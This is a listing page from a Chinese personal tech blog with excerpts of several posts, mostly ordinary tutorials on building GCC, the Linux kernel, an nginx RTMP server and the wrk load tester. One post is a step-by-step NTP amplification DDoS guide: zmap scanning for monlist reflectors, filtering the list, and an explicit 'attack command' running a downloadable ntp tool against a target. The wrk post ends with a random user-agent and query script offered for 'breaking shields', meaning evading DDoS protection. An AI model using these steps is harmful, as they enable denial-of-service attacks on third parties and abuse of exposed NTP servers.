首页
关于道锋
工具
友情链接
公告栏
麟图图床
麟云文件
麟云KMS
Search
1
兽装曲腿制作文档
1,314 阅读
2
Frpc使用XTCP不通过服务器传输
1,140 阅读
3
使用ReDroid打造自己的云手机
1,109 阅读
4
Cloudflare SAAS 接入自选教程
839 阅读
5
CloudFront CDN配置教程
710 阅读
默认
科学
热力学
Furry
小说
星河野望
手工制作
道具制作
音影
图像工具
计算机
渗透
硬件
编程
网络
记录
AI人工智能
CVE
软件工具
装机教程
C/C++
C#
Go
HTML5+JS+CSS
JAVA
Lua
Rust
PHP
Python2/3
Nodejs
编译
C/C++学习日志
Golang学习日志
Rust开发技巧
Rust学习日志
Rust开发教程
Nonebot2机器人框架
python开发教程
python开发技巧
Python学习日志
ai绘画
电子电路
电路设计
PCB打板
制作实战
无线电
摄影
运维
WEB
KVM云计算
docker
Ansible
代码管理
Kubernetes
Linux
MySQL
shell
集群
Zabbix
Prometheus
数据安全
Redis
istio
ELK
Nginx
Apache
Tomcat
Elasticsearch
Logstash
Kibana
测评
服务器
登录
Search
标签搜索
开源
源码
教程
服务器
环境搭建
摄影
rustlang
Rust
VS CODE
v2ray
bbr
加速
网络优化
拥塞控制
CloudFront教程
CF教程
AWS教程
CloudFront接入
Frpc
Frps
道锋潜鳞
累计撰写
447
篇文章
累计收到
104
条评论
首页
栏目
默认
科学
热力学
Furry
小说
星河野望
手工制作
道具制作
音影
图像工具
计算机
渗透
硬件
编程
网络
记录
AI人工智能
CVE
软件工具
装机教程
C/C++
C#
Go
HTML5+JS+CSS
JAVA
Lua
Rust
PHP
Python2/3
Nodejs
编译
C/C++学习日志
Golang学习日志
Rust开发技巧
Rust学习日志
Rust开发教程
Nonebot2机器人框架
python开发教程
python开发技巧
Python学习日志
ai绘画
电子电路
电路设计
PCB打板
制作实战
无线电
摄影
运维
WEB
KVM云计算
docker
Ansible
代码管理
Kubernetes
Linux
MySQL
shell
集群
Zabbix
Prometheus
数据安全
Redis
istio
ELK
Nginx
Apache
Tomcat
Elasticsearch
Logstash
Kibana
测评
服务器
页面
关于道锋
工具
友情链接
公告栏
友人
PCD-01’s Blog
iMin博客
特资啦!个人资源分享站
黎洛云综合门户网站
1mxy笔记
三石的记录
咬一口激动的鱼
温瞳's Blog
中二病晚期の物語
奇梦博客
布丁の小窝
道麟笔记
小林笔记
迷失的小K
koto's Site
Abyss-博客
西西のBlog
锐冰龙小站
麟图图床
麟云文件
麟云KMS
搜索到
8
篇与
的结果
2023-07-17
使用CloudFlare Worker搭建Vless服务,实现无服务器代理
使用CloudFlare Worker搭建Vless服务,实现无服务器代理
2023年07月17日
228 阅读
0 评论
2 点赞
2023-06-28
关于CRITICAL:yum.cli的一个解决方法记录
关于CRITICAL:yum.cli:Config error: Error accessing file for config file:///etc/yum.conf /usr/lib64/python2.7/site-packages/pycurl.so: undefined symbol: CRYPTO_num_locks 的解决记录
2023年06月28日
237 阅读
2 评论
1 点赞
2021-10-07
NTP放大反射攻击扫描列表教程
1.升级所有包,改变软件设置和系统设置,系统版本内核都升级yum -y update2.下载rpm包(区分centos6 与centos7 执行不同的命令)centos6:wget http://dl.fedoraproject.org/pub/epel/6/x86_64/epel-release-6-8.noarch.rpm sudo rpm -Uvh epel-release-6-8.noarch.rpmcentos7:wget http://mirror.centos.org/centos/7/extras/x86_64/Packages/epel-release-7-11.noarch.rpm sudo rpm -Uvh epel-release-7-11.noarch.rpm3.安装必要的依赖环境yum install gcc libcap libpcap libpcap-devel screen php dstat cmake gmp gmp-devel gengetopt byacc flex git json-c zmap --------------------------------------------扫描过滤列表-----------------------------------------------4.安装Zmapwget https://github.com/zmap/zmap/archive/v1.0.3.tar.gz tar -zxvf v1.0.3.tar.gz cd /root/zmap-1.0.3 cd src/ make make install如果前一步ZMap已经安装完成,可以跳过步骤4:zmap -p 80 -N 10 -B 1M -o - #很快,程序会输出10个Internet上打开了80端口的主机的IP,你也可以换成22端口23端口试试。具体的用法可以参考ZMap官方文档。5.开始扫描NTP放大列表screen zmap -p 123 -M udp --probe-args=file:/root/ntp_123_monlist.pkt -o monlist_fingerprint.txt 如果在扫描时,你与服务器的会话不小心中断。 你可以重新连接服务器。 使用命令screen -r回到会话。 screen是将程序独立运行在后台,直到执行完成。6.过滤列表chmod 777 ntpchecker #添加权限 screen ./ntpchecker monlist_fingerprint.txt step1.txt 1 0 1 #运行检查 awk '$2>419{print $1}' step1.txt | sort -n | uniq | sort -R > ntpamp.txt #过滤列表--------------------------------------------放大攻击-----------------------------------------------7.攻击命令chmod 777 ntp #赋予权限 ./ntp 127.0.0.1 80 ntpamp.txt 100 -1 100 下载库:ntp_2下载
2021年10月07日
544 阅读
0 评论
0 点赞
2021-01-30
Http压测工具wrk安装与分享
之前很长一段时间都在使用apachebench 俗称ab 但是用着用着,就觉得可玩性有点不足,尤其是在自定义这方面上。偶然间看到这款WRK压测工具wrk 的一个很好的特性就是能用很少的线程压出很大的并发量, 原因是它使用了一些操作系统特定的高性能 I/O 机制, 比如 select, epoll, kqueue 等。 其实它是复用了 redis 的 ae 异步事件驱动框架. 确切的说 ae 事件驱动框架并不是 redis 发明的, 它来至于 Tcl的解释器 jim, 这个小巧高效的框架, 因为被 redis 采用而更多的被大家所熟知.安装wrk支持大多数类UNIX系统,不支持windows。需要操作系统支持LuaJIT和OpenSSL,不过不用担心,大多数类Unix系统都支持。安装wrk非常简单,只要从github上下载wrk源码,在项目路径下执行make命令即可。wrk GitHub 源码:https://github.com/wg/wrkwrk只能运行于 Unix 类的系统上,也只能在这些系统上跑必备条件:1.软件包:gcc g++ make build-essential等(具体视系统而定)安装好了这些软件包后,进入源码目录git clone https://github.com/wg/wrk.git cd wrk make -j4(可选多线程)编译完成之后,目录下面会多一个 wrk 的文件。使用以下命令来测试一下:./wrk -c 1 -t 1 -d 1 http://www.baidu.com基本使用命令行敲下wrk,可以看到使用帮助Usage: wrk <options> <url> Options: -c, --connections <N> Connections to keep open -d, --duration <T> Duration of test -t, --threads <N> Number of threads to use -s, --script <S> Load Lua script file -H, --header <H> Add header to request --latency Print latency statistics --timeout <T> Socket/request timeout -v, --version Print version details Numeric arguments may include a SI unit (1k, 1M, 1G) Time arguments may include a time unit (2s, 2m, 2h)简单翻成中文:使用方法: wrk <选项> <被测HTTP服务的URL> Options: -c, --connections <N> 跟服务器建立并保持的TCP连接数量 -d, --duration <T> 压测时间 -t, --threads <N> 使用多少个线程进行压测 -s, --script <S> 指定Lua脚本路径 -H, --header <H> 为每一个HTTP请求添加HTTP头 --latency 在压测结束后,打印延迟统计信息 --timeout <T> 超时时间 -v, --version 打印正在使用的wrk的详细版本信息 <N>代表数字参数,支持国际单位 (1k, 1M, 1G) <T>代表时间参数,支持时间单位 (2s, 2m, 2h)测试1数据非常的明了测试2使用24线程 6000个链接,在海外G口机器上,使用随机脚本,达到了20WQPS的峰值数据(实际上约合10W)使用Lua脚本个性化wrk压测以上两节安装并简单使用了wrk,但这种简单的压测可能不能满足我们的需求。比如我们可能需要使用POST METHOD跟服务器交互;可能需要为每一次请求使用不同的参数,以更好的模拟服务的实际使用场景等。wrk支持用户使用--script指定Lua脚本,来定制压测过程,满足个性化需求。介绍wrk对Lua脚本的支持wrk支持在三个阶段对压测进行个性化,分别是启动阶段、运行阶段和结束阶段。每个测试线程,都拥有独立的Lua运行环境。启动阶段function setup(thread)在脚本文件中实现setup方法,wrk就会在测试线程已经初始化但还没有启动的时候调用该方法。wrk会为每一个测试线程调用一次setup方法,并传入代表测试线程的对象thread作为参数。setup方法中可操作该thread对象,获取信息、存储信息、甚至关闭该线程。thread.addr - get or set the thread's server address thread:get(name) - get the value of a global in the thread's env thread:set(name, value) - set the value of a global in the thread's env thread:stop() - stop the thread运行阶段function init(args) function delay() function request() function response(status, headers, body)init由测试线程调用,只会在进入运行阶段时,调用一次。支持从启动wrk的命令中,获取命令行参数;delay在每次发送request之前调用,如果需要delay,那么delay相应时间;request用来生成请求;每一次请求都会调用该方法,所以注意不要在该方法中做耗时的操作;reponse在每次收到一个响应时调用;为提升性能,如果没有定义该方法,那么wrk不会解析headers和body;结束阶段function done(summary, latency, requests)该方法在整个测试过程中只会调用一次,可从参数给定的对象中,获取压测结果,生成定制化的测试报告。自定义脚本中可访问的变量和方法变量:wrk wrk = { scheme = "http", host = "localhost", port = nil, method = "GET", path = "/", headers = {}, body = nil, thread = <userdata>, }一个table类型的变量wrk,是全局变量,修改该table,会影响所有请求。方法:wrk.fomat wrk.lookup wrk.connect function wrk.format(method, path, headers, body) wrk.format returns a HTTP request string containing the passed parameters merged with values from the wrk table. 根据参数和全局变量wrk,生成一个HTTP rquest string。 function wrk.lookup(host, service) wrk.lookup returns a table containing all known addresses for the host and service pair. This corresponds to the POSIX getaddrinfo() function. 给定host和service(port/well known service name),返回所有可用的服务器地址信息。 function wrk.connect(addr) wrk.connect returns true if the address can be connected to, otherwise it returns false. The address must be one returned from wrk.lookup(). 测试与给定的服务器地址信息是否可以成功创建连接示例使用POST METHODwrk.method = "POST" wrk.body = "foo=bar&baz=quux" wrk.headers["Content-Type"] = "application/x-www-form-urlencoded"通过修改全局变量wrk,使得所有请求都使用POST方法,并指定了body和Content-Type头。为每次request更换一个参数request = function() uid = math.random(1, 10000000) path = "/test?uid=" .. uid return wrk.format(nil, path) end通过在request方法中随机生成1~10000000之间的uid,使得请求中的uid参数随机。每次请求之前延迟10msfunction delay() return 10 end每个线程要先进行认证,认证之后获取token以进行压测token = nil path = "/authenticate" request = function() return wrk.format("GET", path) end response = function(status, headers, body) if not token and status == 200 then token = headers["X-Token"] path = "/resource" wrk.headers["X-Token"] = token end end在没有token的情况下,先访问/authenticate认证。认证成功后,读取token并替换path为/resource。压测支持HTTP pipeline的服务init = function(args) local r = {} r[1] = wrk.format(nil, "/?foo") r[2] = wrk.format(nil, "/?bar") r[3] = wrk.format(nil, "/?baz") req = table.concat(r) end request = function() return req end通过在init方法中将三个HTTP request请求拼接在一起,实现每次发送三个请求,以使用HTTP pipeline附赠可用作变参破盾的脚本:wrk.method = "GET" --请求模式 radua = 1 -- 是否启用随机ua数据 1为开,其他均为关 radque = 1 -- 是否启用随机查询数据 1为开,其他均为关 uri = "/?p="--随机查询数据uri关键 仅仅在radque=1的时候生效 quemax = 100000 --最大随机查询生成大小 仅仅在radque=1的时候生效 --随机ua列表开始 ua = { "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 OPR/26.0.1656.60", "Opera/8.0 (Windows NT 5.1; U; en)", "Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.50", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 9.50", "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0", "Mozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11", "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.11 TaoBrowser/2.0 Safari/536.11", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.71 Safari/537.1 LBBROWSER", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; LBBROWSER)", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E; LBBROWSER)", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; QQBrowser/7.0.3698.400)", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)", "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.84 Safari/535.11 SE 2.X MetaSr 1.0", "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; SV1; QQDownload 732; .NET4.0C; .NET4.0E; SE 2.X MetaSr 1.0)", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Maxthon/4.4.3.4000 Chrome/30.0.1599.101 Safari/537.36", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 UBrowser/4.0.3214.0 Safari/537.36", "Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5", "Mozilla/5.0 (iPod; U; CPU iPhone OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5", "Mozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; zh-cn) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5", "Mozilla/5.0 (iPad; U; CPU OS 4_3_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5", "Mozilla/5.0 (Linux; U; Android 2.2.1; zh-cn; HTC_Wildfire_A3333 Build/FRG83D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1", "Mozilla/5.0 (Linux; U; Android 2.3.7; en-us; Nexus One Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1", "MQQBrowser/26 Mozilla/5.0 (Linux; U; Android 2.3.7; zh-cn; MB200 Build/GRJ22; CyanogenMod-7) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1", "Opera/9.80 (Android 2.3.4; Linux; Opera Mobi/build-1107180945; U; en-GB) Presto/2.8.149 Version/11.10", "Mozilla/5.0 (Linux; U; Android 3.0; en-us; Xoom Build/HRI39) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13", "Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; en) AppleWebKit/534.1+ (KHTML, like Gecko) Version/6.0.0.337 Mobile Safari/534.1+", "Mozilla/5.0 (hp-tablet; Linux; hpwOS/3.0.0; U; en-US) AppleWebKit/534.6 (KHTML, like Gecko) wOSBrowser/233.70 Safari/534.6 TouchPad/1.0", "Mozilla/5.0 (SymbianOS/9.4; Series60/5.0 NokiaN97-1/20.0.019; Profile/MIDP-2.1 Configuration/CLDC-1.1) AppleWebKit/525 (KHTML, like Gecko) BrowserNG/7.1.18124", "Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0; HTC; Titan)", "UCWEB7.0.2.37/28/999", "NOKIA5700/ UCWEB7.0.2.37/28/999", "Openwave/ UCWEB7.0.2.37/28/999", "Mozilla/4.0 (compatible; MSIE 6.0; ) Opera/UCWEB7.0.2.37/28/999", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1", "Mozilla/5.0 (X11; CrOS i686 2268.111.0) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6", "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1090.0 Safari/536.6", "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/19.77.34.5 Safari/537.1", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5", "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.36 Safari/536.5", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3", "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3", "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1062.0 Safari/536.3", "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3", "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.0 Safari/536.3", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24", "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24", "Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)", "Sogou inst spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)", "Sogou News Spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)", "Sogou Pic Spider/3.0(+http://www.sogou.com/docs/help/webmasters.htm#07)", "Sogou Video Spider/3.0(+http://www.sogou.com/docs/help/webmasters.htm#07)", "Mozilla/5.0 (compatible; Bytespider; https://zhanzhang.toutiao.com/) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.0.0 Safari/537.36", "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; https://zhanzhang.toutiao.com/)", "Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Version/7.0 Mobile Safari/537.36 (compatible; Bytespider; https://zhanzhang.toutiao.com/)", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0); 360Spider(compatible; HaosouSpider; http://www.haosou.com/help/help_3_2.html", "Mozilla/5.0 (Linux; U; Android 4.0.2; en-us; Galaxy Nexus Build/ICL53F) AppleWebKit/534.30 (KHTML, like Gecko)Version/4.0 Mobile Safari/534.30; 360Spider", "Mozilla/5.0 (Linux; U; Android 4.0.2; en-us; Galaxy Nexus Build/ICL53F) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30; HaosouSpider", "Mozilla/5.0 (Linux; U; Android 4.3; zh-CN; SCH-N719 Build/JSS15J) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 YisouSpider/1.0.0 Mobile Safari/533.1", "Mozilla/5.0 (Linux;u;Android 4.2.2;zh-cn;) AppleWebKit/534.46 (KHTML,likeGecko) Version/5.1 Mobile Safari/10600.6.3 (compatible; Baiduspider/2.0;+http://www.baidu.com/search/spider.html)", "Mozilla/5.0 (compatible; Baiduspider/2.0;+http://www.baidu.com/search/spider.html)", "Mozilla/5.0 (iPhone; CPU iPhone OS 9_1 likeMac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13B143Safari/601.1 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)", "Mozilla/5.0(compatible;Baiduspiderrender/2.0;+http://www.baidu.com/search/spider.html)", "Baiduspider-image+(+http://www.baidu.com/search/spider.htm)" } --随机UA列表结束 request = function() if (radua == 1) then math.randomseed(tostring(os.time()):reverse():sub(1, 7)) wrk.headers["User-Agent"] = ua[math.random(1,74)] else wrk.headers["User-Agent"] = "Powered by WRK" end --随机ua传递结束 if (radque==1)then uid = math.random(1, quemax) path = uri .. uid end --随机查询结束 --返回数据开始 return wrk.format(null,path,wrk.headers,null) end --随机请求结束
2021年01月30日
97 阅读
1 评论
0 点赞
2021-01-09
宝塔nginx搭建rtmp推流服务器
环境Linux centos 7.6 + Nginx1.安装Nginx这一步就不用多说了吧我是宝塔用户,这边进入到/www/server/nginx/src目录里面使用nginx -V查看当前的编译选项。2.安装Nginx的rtmp拓展nginx的rtmp拓展包github地址:https://github.com/arut/nginx-rtmp-module,可以使用git clone下拉或者直接下载我这边直接下载解压放到:/root下。Nginx安装rtmp拓展:3.编译在刚刚-V操作所输出的 ./configure arguents:之后的内容复制然后在后头添加:--add-module=/opt/module/nginx-rtmp-module在前头添加./configure如:(我这里有编译云锁的安全模块,可以删除)./configure --user=www --group=www --prefix=/www/server/nginx --add-module=/www/server/nginx/src/ngx_devel_kit --add-module=/www/server/nginx/src/lua_nginx_module --add-module=/www/server/nginx/src/ngx_cache_purge --add-module=/www/server/nginx/src/nginx-sticky-module --with-openssl=/www/server/nginx/src/openssl --with-pcre=pcre-8.43 --with-http_v2_module --with-stream --with-stream_ssl_module --with-stream_ssl_preread_module --with-http_stub_status_module --with-http_ssl_module --with-http_image_filter_module --with-http_gzip_static_module --with-http_gunzip_module --with-ipv6 --with-http_sub_module --with-http_flv_module --with-http_addition_module --with-http_realip_module --with-http_mp4_module --with-ld-opt=-Wl,-E --with-cc-opt=-Wno-error --with-ld-opt=-ljemalloc --with-http_dav_module --add-module=/www/server/nginx/src/nginx-dav-ext-module --add-module=/root/nginx-plugin-master --add-module=/root/nginx-rtmp-module运行后没有错误的话执行 make -j8 (我这里是8个线程编译,可以根据具体机器的配置选配)make完成后将系统中原有的nginx用重新编译生成的nginx文件替换,替换后重启nginx使新编译nginx生效rm -rf /www/server/nginx/sbin/nginx cp objs/nginx /www/server/nginx/sbin/ service nginx restart4.配置Nginx的rtmp服务站点# 在文件底部添加下面内容: rtmp { server { listen 1935; #监听的端口 chunk_size 4000; application tv_file { live on; #开启实时 hls on; #开启hls hls_path /www/hls; #rtmp推流请求路径,文件存放路径 hls_fragment 5s; #每个TS文件包含5秒的视频内容 } } }另外切记,此段配置文件需要和http配置块同级,即不能将此段内容放在http{}内,否则无法启动且报错重启Nginx:nginx -s reload开放端口(没防火墙忽略此部)iptables -I INPUT -p tcp --dport 1938 -j ACCEPT附属步骤1:使用http-hls流(m3u8)(不需要此功能跳过这步)首先新建一个站点,在配置文件中添加类似这样的代码:add_header 'Access-Control-Allow-Origin' *; add_header 'Access-Control-Allow-Methods' GET; location /live { #error_page 404 =200 /nosign.m3u8; #可以取消注释上面的代码,稍作修改即可配置默认视频流 types { application/vnd.apple.mpegurl m3u8; video/mp2t ts; } alias /www/hls/; }这段配置文件将前一步生成的m3u8和ts文件以http的形式推送。可以再添加CDN进行分发,但注意缓存时间需要匹配,否则会出现视频流异常。附属步骤2:读取http-hls流(m3u8)(不需要此功能跳过这步)完成上面附属一之后,可以使用如下html代码读取播放此m3u8视频源<script src="https://www.silverdragon.cn/wp-content/themes/hestia/assets/js/hls.min.js"></script> <video id="video" class="wrap" controls="" poster="封面图片"></video> <script> var url = "你的hls地址"; if(Hls.isSupported()) { var video = document.getElementById('video'); var hls = new Hls(); hls.loadSource(url); hls.attachMedia(video); hls.on(Hls.Events.MANIFEST_PARSED,function() { video.play(); }); } </script>5、推拉流测试推流。下载OBS Studio,官网下载太慢了,其他下载地址:https://pc.qq.com/detail/4/detail_23604.html安装完成,打开软件,在控件版块点击设置,左边的导航选择流,然后流类型选择自定义流媒体服务器,url输入rtmp://你的IP:1935/tv_file(就是刚刚配置的那个),流名称随便设置一个在场景里头随便添加个视频或者什么七七八八的设置完成点击推流。在服务器就看到m3u8文件的生成,推流成功。(然后挂到后台)这边强烈建议调整为动态码率或者其他什么的,毕竟自己的服务器带宽小,一不小心就跑满了6、拉流。测试拉流下载VLC,官方也是慢的要死,可以普通下载:https://pc.qq.com/detail/9/detail_569.html安装后打开url输入rtmp://你的IP:1935/tv_file/流名称(秘钥)或者使用刚刚配置的hls流,输入http://你的域名或IP/live/流名称.m3u8拉取正常根据本教程可以做出类似本站https://www.silverdragon.cn/?page_id=2339的功能。
2021年01月09日
125 阅读
1 评论
0 点赞
2020-11-29
Kali下载编译安装Linux5.9.11内核
1.下载最新的Linux内核小版本号为偶数是稳定版本,我们选择稳定版本下载。内核官方网站 https://www.kernel.org/,点击那个黄色的按钮就开始下载了2.环境配置在正式编译前需要安装部分软件。sudo apt update && sudo apt upgrade sudo apt-get install git fakeroot build-essential ncurses-dev xz-utils libssl-dev bc flex libelf-dev bison 出现安装错误的可以分开安装3.解压缩下载完成之后,解压缩刚刚下载好的内核压缩包。解压后大概1G,提前预留充足空间。解压之后进入目录。可以先提前看下新版内核有什么变化。wget https://cdn.kernel.org/pub/linux/kernel/v5.x/linux-5.9.11.tar.xz tar -zxf linux-5.9.11.tar.xz cd linux-5.9.11可以先用uname -r自行查看下当前内核版本4.配置内核在正式编译内核之前,我们首先必须配置需要包含哪些模块。实际上,有一些非常简单的方式来配置。使用一个命令,你能拷贝当前内核的配置文件,然后使用可靠的 menuconfig 命令来做任何必要的更改。cp /boot/config-$(uname -r) .config上述命令的意思就是拷贝对应当前内核配置到当前目录下并重命名为.config(文件名前加.意思为隐藏文件)。之后在解压后得内核目录里执行命令make menuconfig在这里可以选择启用或者禁用一些模块。如果你不知道该如何选择的话,默认退出即可。4.编译和安装退出menuconfig后,在命令行中输入make -j49命令即可开始编译。-j49意思是并发执行,可以提高速度,一般保险情况 下不要多于CPU核数。为了加快编译那就多开几个线程吧,可以是CPU内核数+1,比如四十八核就-j49。这个命令的执行会耗费很长时间。这里用的gcc版本是10.2在前面的文章中有安装好的 https://www.silverdragon.cn/?p=2019漫长的等待 笔者的使用宿主机分配了48个vCPU 只用了不到5分钟 实际机器配置低的可能需要更久如果抛出“没有规则可制作目标debian/certs/debian-uefi-certs.pem由certs/x509_certificate_list需求停止”这个错误 只需要sudo vim .config将CONFIG_SYSTEM_TRUSTED_KEYS="certs/x509_certificate_list"改成CONFIG_SYSTEM_TRUSTED_KEYS=""即可继续make编译编译完成之后首先安装模块,命令为:sudo make modules_install其次安装内核,命令为:sudo make install5.完成后启用内核作为引导输入下列命令将内核作为引导,将数字更改为你自己编译的版本号:sudo update-initramfs -c -k 5.9.11下面更新一下grub:sudo update-grub6.检查内核是否安装成功之后重启即可在启动界面选择需要启动的内核5.9.11。确认下内核版本参考资料:https://blog.csdn.net/qq_37748570/article/details/108118284
2020年11月29日
167 阅读
1 评论
0 点赞
2020-11-29
Kali中编译安装GCC10.2.0
一切都和其他源码安装软件是一样的:一、下载解压源代码:mkdir gcc10 && cd gcc10 wget http://ftp.gnu.org/gnu/gcc/gcc-10.2.0/gcc-10.2.0.tar.gz tar xvf gcc-10.2.0.tar.gz二、配置安装路径:sudo vim /etc/profile export PATH="/usr/local/gcc-10.2/bin:$PATH"三、源码自动配置:cd gcc-10.2.0/ ./contrib/download_prerequisites正常的话,会下载几个包,然后系统会提示gmp-6.1.0.tar.bz2: 成功 mpfr-3.1.4.tar.bz2: 成功 mpc-1.0.3.tar.gz: 成功 isl-0.18.tar.bz2: 成功 All prerequisites downloaded successfully. 四、准备编译:cd .. mkdir temp_gcc10.2 && cd temp_gcc10.2 ../gcc-10.2.0/configure --prefix=/usr/local/gcc-10.2 --enable-threads=posix --disable-checking --disable-multilib //允许多线程 make //当然可以加个-j多线程编译 这里生成的目录有6-8G sudo make install不出意外的话,执行make后,就开始编译了大概十几分钟,半个小时这样就完成了九、做个链接:which gcc //查看旧安装目录备份旧版本gcc 替换新版本mv /usr/bin/gcc /usr/bin/gcc_old mv /usr/bin/g++ /usr/bin/g++_old ln -s /usr/local/gcc-10.2/bin/gcc /usr/bin/gcc ln -s /usr/local/gcc-10.2/bin/g++ /usr/bin/g++更换成功,编译一个helloworld试试正常
2020年11月29日
161 阅读
0 评论
0 点赞
2020-03-12
Nginx使用cygwin在Windows下编译和安装
